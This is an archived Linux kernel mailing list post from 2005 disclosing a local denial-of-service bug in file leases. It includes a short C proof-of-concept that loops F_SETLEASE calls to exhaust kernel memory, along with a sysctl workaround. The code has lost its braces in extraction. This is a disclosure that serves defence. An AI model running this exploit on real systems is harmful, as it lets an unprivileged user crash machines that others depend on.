[lkml]   [2005]   [Nov]   [10]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
Messages in this thread
    Subjectlocal denial-of-service with file leases
    the following program will oom a the kernel, running as an 
    ordinary user:

    #include <unistd.h>

    #include <stdlib.h>

    #include <linux/fcntl.h>

    int main(int ac, char **av)


    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;

    while (1) {

    r = fcntl(fd, F_SETLEASE, F_RDLCK);

    if (r == -1) {

    perror("F_SETLEASE, F_RDLCK");



    r = fcntl(fd, F_SETLEASE, F_UNLCK);

    if (r == -1) {

    perror("F_SETLEASE, F_UNLCK");




    return 0;


    it will suck all available memory into fasync_cache, causing an oom. a
    workaround is to set fs.leases-enable to 0.

    this has already been reported to lkml[1] and fedora[2], with no effect.


    To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
    the body of a message to
    More majordomo info at
    Please read the FAQ at

     \ /
      Last update: 2005-11-10 18:03    [W:0.019 / U:58.916 seconds]
    ©2003-2016 Jasper Spaans. hosted at Digital OceanAdvertise on this site